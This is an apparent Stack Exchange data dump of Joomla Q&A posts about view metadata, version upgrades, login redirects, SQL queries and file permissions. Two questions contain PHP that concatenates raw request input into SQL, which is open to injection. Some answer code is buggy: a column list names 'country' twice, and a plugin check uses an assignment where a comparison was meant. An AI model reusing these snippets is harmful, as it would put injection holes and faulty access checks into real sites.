  <row Id="15924" PostTypeId="2" ParentId="15923" CreationDate="2016-03-31T05:44:33.310" Score="1" Body="&lt;p&gt;There are two ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide whole view (including different layouts), go to your view directory, and find file &lt;code&gt;metadata.xml&lt;/code&gt;. Add &lt;code&gt;hidden=&quot;true&quot;&lt;/code&gt; to &lt;code&gt;&amp;lt;view&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;view title=&quot;View title&quot; hidden=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&amp;lt;![CDATA[View description]]&amp;gt;&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/view&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide only specific layout of view, go to same views subdirectory &lt;code&gt;tmpl&lt;/code&gt;, find your layout specific &lt;code&gt;.xml&lt;/code&gt; file (&lt;code&gt;layoutname.xml&lt;/code&gt;). Add &lt;code&gt;hidden=&quot;true&quot;&lt;/code&gt; to &lt;code&gt;&amp;lt;layout&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;Layout title&quot; option=&quot;View&quot; hidden=&quot;true&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[Layout description]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-03-31T05:44:33.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15925" PostTypeId="1" CreationDate="2016-03-31T05:45:30.233" Score="1" ViewCount="474" Body="&lt;p&gt;Recently, we have done Penetration testing for our Joomla site and came across below Vulnerabilities&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Core Remote Code Execution Vulnerability&#xA;Solution : Upgrade to version 3.4.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html&quot; rel=&quot;nofollow&quot;&gt;Core Remote Code Execution Vulnerability&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Web application potentially vulnerable to clickjacking&#xA;Solution: Return the X-Frame options HTTP header with the page's response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have outlined some Action Items as below&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Our server meet the minimum technical requirements for Joomla &lt;code&gt;3.4.7&lt;/code&gt;&#xA;as its already running version &lt;code&gt;3.2.3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;List down all third-party extensions in use. This includes&#xA;components, modules, plugins, languages, and templates.&lt;/li&gt;&#xA;&lt;li&gt;Determine whether the third-party extensions we rely on are ready for&#xA;the version of Joomla we are migrating to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Migrating from &lt;strong&gt;2.5&lt;/strong&gt; to &lt;strong&gt;3.x&lt;/strong&gt; is mini-migration which is already done in our case.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do we go about upgrading from &lt;strong&gt;3.2.3 to 3.4.7&lt;/strong&gt; ?&lt;/li&gt;&#xA;&lt;li&gt;How do we upgrade &lt;strong&gt;Database&lt;/strong&gt; ?&lt;/li&gt;&#xA;&lt;li&gt;If upgrade is done successfully, how do we test all the&#xA;&lt;strong&gt;components/extensions/modules&lt;/strong&gt; ?&lt;/li&gt;&#xA;&lt;li&gt;Any official guidelines available to perform the operation?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8132" LastEditorUserId="8132" LastEditDate="2016-03-31T06:11:13.877" LastActivityDate="2016-03-31T08:32:48.157" Title="Joomla - Upgrade Version 3.2.3 to 3.4.7" Tags="|joomla-3.x|security|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15926" PostTypeId="2" ParentId="15919" CreationDate="2016-03-31T06:23:24.460" Score="2" Body="&lt;p&gt;Actually there is another event you can perfectly use for this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;code&gt;onUserAfterLogin&lt;/code&gt; which gets called right after successful user login (core joomla authentication is complete). See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3b1562b3b17fabd1688c6805c6170c1090280cb6/libraries/legacy/application/application.php#L699&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in this event, run your logic and simply call &lt;code&gt;JFactory::getApplication()-&amp;gt;logout();&lt;/code&gt; if it fails. Just like you wanted it.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-03-31T06:23:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15927" PostTypeId="2" ParentId="15915" CreationDate="2016-03-31T06:42:52.600" Score="2" Body="&lt;p&gt;As shown in this &lt;a href=&quot;https://joomla.stackexchange.com/questions/15854/how-to-display-tag-on-top-of-article-and-author-at-the-bottom/15893#15893&quot; title=&quot;Question&quot;&gt;question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make an override of &lt;code&gt;/plugins/content/jw_disqus/jw_disqus/tmpl/article.php&lt;/code&gt; in your template folder &lt;code&gt;/html/jw_disqus/article.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file &lt;code&gt;echo $row-&amp;gt;text&lt;/code&gt; actually prints the article content, so just add the statement to show the article's author where you need (replacing &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; with &lt;code&gt;$row&lt;/code&gt;): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.content.info_block.author', array('item' =&amp;gt; $row, 'params' =&amp;gt; $params, 'position' =&amp;gt; 'below'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JLayoutHelper&lt;/strong&gt; refers to the file path of the first parameter, in this case refers to &lt;code&gt;/layouts/joomla/content/info_block/author.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-31T06:42:52.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15929" PostTypeId="2" ParentId="15925" CreationDate="2016-03-31T08:32:48.157" Score="2" Body="&lt;p&gt;Step 1: You should take a backup of your site, either manually or using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The upgrade can be done using Joomla's &lt;strong&gt;1 click update feature&lt;/strong&gt; in the admin back-end. Go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Joomla! Update&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Clear Cache&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Find Updates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should provide you with an update to the latest version, which I'm just going to say is 3.5.0, not 3.4.7&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Any changes to the database will be done in the update, so you don't need to worry about that. Basically every Joomla update contains it's own SQL file associated with that version. The SQL file may contain database changes or be blank.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Updating from Joomla 3.2.3 to 3.4.8 is considered a minor update so as for compatibility, your extensions should run perfectly fine. There was a change made to the &lt;code&gt;String&lt;/code&gt; framework package in Joomla 3.5.0 to prevent conflicts with PHP7, so I would suggest updating all extensions to their latest versions too.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-31T08:32:48.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15930" PostTypeId="2" ParentId="552" CreationDate="2016-03-31T09:17:14.127" Score="-2" Body="&lt;pre&gt;&lt;code&gt;$haystack= JURI::current();&#xA;$needle = '/login';&#xA;$is_login_page = $needle === &quot;&quot; || (($temp = strlen($haystack) - strlen($needle)) &amp;gt;= 0 &amp;amp;&amp;amp; strpos($haystack, $needle, $temp) !== FALSE);&#xA;if(JFactory::getUser()-&amp;gt;guest &amp;amp;&amp;amp; !$is_login_page &amp;amp;&amp;amp; $_SERVER['HTTP_HOST'] != 'vauler.com' &amp;amp;&amp;amp; $_SERVER['HTTP_HOST'] != '127.0.0.1:92')&#xA;    $app-&amp;gt;redirect('index.php/login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;paste this code to index.php file of your current template &lt;/p&gt;&#xA;" OwnerUserId="8135" LastEditorUserId="154" LastEditDate="2016-03-31T09:43:10.147" LastActivityDate="2016-03-31T09:43:10.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15932" PostTypeId="2" ParentId="15898" CreationDate="2016-03-31T10:19:59.463" Score="1" Body="&lt;p&gt;The error was simple stupid mistake. I missing a qoute on {enquiries___due_date} when I place this in quote everything start working.&lt;/p&gt;&#xA;" OwnerUserId="7952" LastActivityDate="2016-03-31T10:19:59.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15933" PostTypeId="2" ParentId="15500" CreationDate="2016-03-31T10:38:20.080" Score="1" Body="&lt;p&gt;Actually we do support Magento 2.0. It is not mentioned on our extension because there is a completely new section for Magento 2 extensions on Magento Connect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can migrate from VirtueMart 1.1 to Magento 2.0 using Cart2Cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&lt;br&gt;&#xA;Cart2Cart Team&lt;/p&gt;&#xA;" OwnerUserId="8136" LastActivityDate="2016-03-31T10:38:20.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15934" PostTypeId="1" AcceptedAnswerId="15983" CreationDate="2016-03-31T11:45:38.170" Score="0" ViewCount="664" Body="&lt;p&gt;I know that the jquery.minicolors.js used in the color input field support the opacity and rgba as option. Is it possible to use them in the color input field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the default Joomla! color picker (input color field type) &lt;a href=&quot;https://i.stack.imgur.com/aSVFc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSVFc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;and I would like to also have the opacity option &lt;a href=&quot;https://i.stack.imgur.com/SjonH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjonH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2016-03-31T22:52:32.360" LastActivityDate="2016-11-15T02:17:31.110" Title="jquery.minicolors.js with opacity" Tags="|joomla-3.x|development|jquery|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15935" PostTypeId="1" CreationDate="2016-03-31T12:03:39.320" Score="-1" ViewCount="369" Body="&lt;p&gt;When I try to execute my &lt;code&gt;insert&lt;/code&gt; query then, I get the following error:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SXhYV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SXhYV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fname = $posted['firstname'];&#xA;$email = $posted['email'];&#xA;$phone = $posted['phone'];&#xA;$productinfo = $posted['productinfo'];&#xA;$amount = $posted['amount'];&#xA;$address2 = $posted['address2'];&#xA;$country = $posted['country'];&#xA;$state = $posted['state'];&#xA;$city = $posted['city'];&#xA;$zipcode = $posted['zipcode'];&#xA;$date = date('y:m:d:h:m:s');&#xA;&#xA;$query = &quot;INSERT INTO `#__rays_donat` (`full_name`, `email`, `phone`, `production_info`, `amount`, `address`, `country`, `city`, `state`, `zipcode`, `form_submit_date`) VALUES ('$fname','$email','$phone', '$productinfo', '$amount', '$address2', '$country', '$city', '$state', '$zipcode', '$date')&quot;;&#xA;&#xA;$db-&amp;gt;setQuery( $query );&#xA;&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me&lt;/p&gt;&#xA;" OwnerUserId="8137" LastEditorUserId="168" LastEditDate="2016-03-31T12:36:25.907" LastActivityDate="2016-03-31T12:44:16.250" Title="Joomla insert Query not run" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15936" PostTypeId="2" ParentId="15935" CreationDate="2016-03-31T12:44:16.250" Score="1" Body="&lt;p&gt;Please try sticking to Joomla's coding methods and ensure your table name is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('full_name', 'email', 'phone', 'production_info', 'amount', 'address', 'country', 'country', 'city', 'state', 'zipcode', 'form_submit_date');&#xA;&#xA;$fname       = $db-&amp;gt;quote($posted['firstname']);&#xA;$email       = $db-&amp;gt;quote($posted['email']);&#xA;$phone       = $db-&amp;gt;quote($posted['phone']);&#xA;$productinfo = $db-&amp;gt;quote($posted['productinfo']);&#xA;$amount      = $db-&amp;gt;quote($posted['amount']);&#xA;$address2    = $db-&amp;gt;quote($posted['address2']);&#xA;$country     = $db-&amp;gt;quote($posted['country']);&#xA;$state       = $db-&amp;gt;quote($posted['state']);&#xA;$city        = $db-&amp;gt;quote($posted['city']);&#xA;$zipcode     = $db-&amp;gt;quote($posted['zipcode']);&#xA;$date        = $db-&amp;gt;quote(date('y:m:d:h:m:s'));&#xA;&#xA;$values = array($fname, $email, $phone, $productinfo, $amount, $address2, $country, $state, $city, $zipcode, $date);&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__rays_donat'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that &lt;code&gt;#__&lt;/code&gt; is Joomla's generic table name prefix, so make sure you table name has the same prefix as other tables, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;jos_users&lt;/li&gt;&#xA;&lt;li&gt;jos_content&lt;/li&gt;&#xA;&lt;li&gt;jos_extensions&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;jos_rays_donat&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-31T12:44:16.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15937" PostTypeId="2" ParentId="552" CreationDate="2016-03-31T13:15:57.257" Score="3" Body="&lt;p&gt;I'm going to give my answer for this based on @Bryan's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Members Only&lt;/strong&gt; plugin looks very promising, so no comment on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;registeredOnly&lt;/strong&gt; plugin is free, however I was not impressed with the code, so I took the liberty of forking and re-writing it and removing the deprecated code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to that, I removed the Community Builder support because....well...I hate Community Builder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class plgSystemRegisteredonly extends JPlugin&#xA;{&#xA;    public function onAfterRoute() &#xA;    {&#xA;        $app   = JFactory::getApplication('site');&#xA;        $input = $app-&amp;gt;input;&#xA;        $user  = JFactory::getUser();&#xA;&#xA;        // Do nothing if in backend or user is logged in&#xA;        if ($app-&amp;gt;isAdmin() || !$user-&amp;gt;guest)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Get the component, view and task&#xA;        $option = $input-&amp;gt;get('option');&#xA;        $view   = $input-&amp;gt;get('view');&#xA;        $task   = $input-&amp;gt;get('task');&#xA;&#xA;        // If user is logging, registering or requesting user/pass, dont redirect&#xA;        if (($option == 'com_users') &amp;amp;&amp;amp; (($task == 'login') || ($task == 'register_save') || ($task = 'remindusername') || ($task == 'requestreset')))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // If user is at login form, registering or recovering user/password, dont redirect&#xA;        if (($option == 'com_users') &amp;amp;&amp;amp; (($view == 'login') || ($view == 'reset') || ($view == 'remind') || ($view == 'register')))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $app-&amp;gt;redirect(JUri::base() . 'index.php?option=com_users&amp;amp;view=login', 'You must be logged in to access this site');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Put it up on Github too: &lt;a href=&quot;https://github.com/Joomla-StackExchange/registeredOnly&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-StackExchange/registeredOnly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a few of you&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-01T13:49:19.210" LastActivityDate="2016-04-01T13:49:19.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15939" PostTypeId="5" CreationDate="2016-03-31T18:37:54.420" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-03-31T18:37:54.420" LastActivityDate="2016-03-31T18:37:54.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15940" PostTypeId="4" CreationDate="2016-03-31T18:37:54.420" Score="0" Body="PHP 7 is the successor to PHP 5.6, it was released on December 3, 2015. Use this tag for issues relating to development using PHP 7" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2016-03-31T21:33:32.563" LastActivityDate="2016-03-31T21:33:32.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15941" PostTypeId="1" AcceptedAnswerId="15942" CreationDate="2016-03-31T19:34:08.890" Score="2" ViewCount="720" Body="&lt;p&gt;I am moving a PHP page to my Joomla website and I was advised that I &lt;strong&gt;&lt;em&gt;&quot;should use Joomla's coding standards and methods for everything, this includes database queries&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I transform my old PHP code regarding Joomla standards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT * FROM `TABLE 2` WHERE Power LIKE &quot;.$input-&amp;gt;get('Power', '', 'RAW').&quot; AND Poles LIKE &quot;.$input-&amp;gt;get('Poles', '', 'RAW').&quot;&quot;;&#xA;&#xA;$results = mysql_query($query)&#xA;or die(mysql_error());&#xA;&#xA;echo '&amp;lt;table class=&quot;table table-striped&quot;&amp;gt;';&#xA;echo '&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Тип по БДС IEC 60034&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Мощност&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Обороти&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Тегло&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;while ($row = mysql_fetch_array($results)) &#xA;{&#xA;extract($row);&#xA;&#xA;&#xA;echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first&quot;&amp;gt;Електромотор тип '.$TYPE.'&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.($Power+0).' kW&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$Speed.' мин.&amp;lt;sup&amp;gt;-1&amp;lt;/sup&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$Weight.' кг.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the TABLE 2 contents. I use the values of each row as a variables on my page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yR3xP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yR3xP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated 01.04.2016---------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rSoUC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSoUC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8127" LastEditorUserId="8127" LastEditDate="2016-04-01T12:31:53.553" LastActivityDate="2018-06-11T02:43:55.830" Title="Transform PHP SQL to Joomla SQL query" Tags="|php|mysql|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15942" PostTypeId="2" ParentId="15941" CreationDate="2016-03-31T19:53:01.397" Score="1" Body="&lt;p&gt;Perhaps something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$poles = $input-&amp;gt;get('Poles', '', 'RAW');&#xA;$power = $input-&amp;gt;get('Power', '', 'RAW');&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);     &#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('*')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('TABLE 2'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('Power') . ' LIKE ' . $db-&amp;gt;quote($power))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('Poles') . ' LIKE ' . $db-&amp;gt;quote($poles));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;echo '&amp;lt;table&amp;gt;';&#xA;&#xA;foreach ($results as $row)&#xA;{&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;    echo '&amp;lt;td class=&quot;first&quot;&amp;gt;Електромотор тип ' . $row-&amp;gt;TYPE . '&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;td&amp;gt;' . ($row-&amp;gt;Power+0) . ' kW&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;Speed . ' мин.&amp;lt;sup&amp;gt;-1&amp;lt;/sup&amp;gt;&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;Weight . ' кг.&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would seriously suggest though that you keep all your table column names as lowercase. It can become confusing sometimes when you start capitalising word or using uppercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above code doesn't work with the &lt;code&gt;where()&lt;/code&gt; clauses, try replacing them with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('Power') . ' LIKE ' . $db-&amp;gt;quote('%'.$power.'%'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('Poles') . ' LIKE ' . $db-&amp;gt;quote('%'.$poles.'%'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-01T12:26:35.720" LastActivityDate="2016-04-01T12:26:35.720" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15943" PostTypeId="2" ParentId="15920" CreationDate="2016-03-31T21:50:54.093" Score="2" Body="&lt;p&gt;To set files and directories to &lt;code&gt;chmod 777&lt;/code&gt; or even &lt;code&gt;chmod 770&lt;/code&gt; is not a good idea on a production system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every webserver system like apache2, nginx can be configured to work with a special user and group - that's important not to get any user rights on the system. On most Debian like systems, the user is set to &lt;code&gt;www-data&lt;/code&gt; with group &lt;code&gt;www-data&lt;/code&gt;, standard is the user ID = 33. On an arch linux system, the standard user:group is set to &lt;code&gt;http:http&lt;/code&gt;, but nevertheless, you can change these settings manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more than one user to be able to write to the same directory it will be necessary to grant write permission to a group they share in common. So you have to get the same group permission for the www-data and your user account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you log-in, you will get no permission to write to the base folder of the Joomla files. That's good news, nobody should be able to compromit your Joomla system. So it is good to unset world writeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example setup with &lt;code&gt;/var/www&lt;/code&gt; as base directory on a production system:&#xA;To get a group related permission:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of this procedure, you have to add the one user e.g. &lt;code&gt;userxyz&lt;/code&gt; who should have access to the group &lt;code&gt;www-data&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sudo usermod -a -G www-data userxyz&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;code&gt;umask 002&lt;/code&gt; general for all users in /etc/profile or in specific home directory at ~/.bashrc when using bash or similar shell config.&#xA;You can test the settings after a new log-in with &lt;code&gt;umask&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sudo chown -R www-data:www-data /var/www&lt;/code&gt; set user and group to www-data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sudo find /var/www -type d -print0 | xargs -0 chmod 2775&lt;/code&gt; sets all directories, that everyone has read and execute permission, while the file owner and members of the file's group additionally have write permission. And any files or subdirectories created in that directory will inherit the parent directory's group id (setgid mode).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sudo find /var/www -type f -print0 | xargs -0 chmod 664&lt;/code&gt; sets all files with read permissoin and only group (www-data) and owner to write/delete permission.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-03-31T21:50:54.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15944" PostTypeId="2" ParentId="15915" CreationDate="2016-03-31T22:11:46.550" Score="0" Body="&lt;p&gt;It may be simpler to reorder the elements using CSS without having to create an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to do this. See &lt;a href=&quot;https://stackoverflow.com/q/17455811/1983389&quot;&gt;Swap DIV position with CSS only&lt;/a&gt; for some options.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-03-31T22:11:46.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
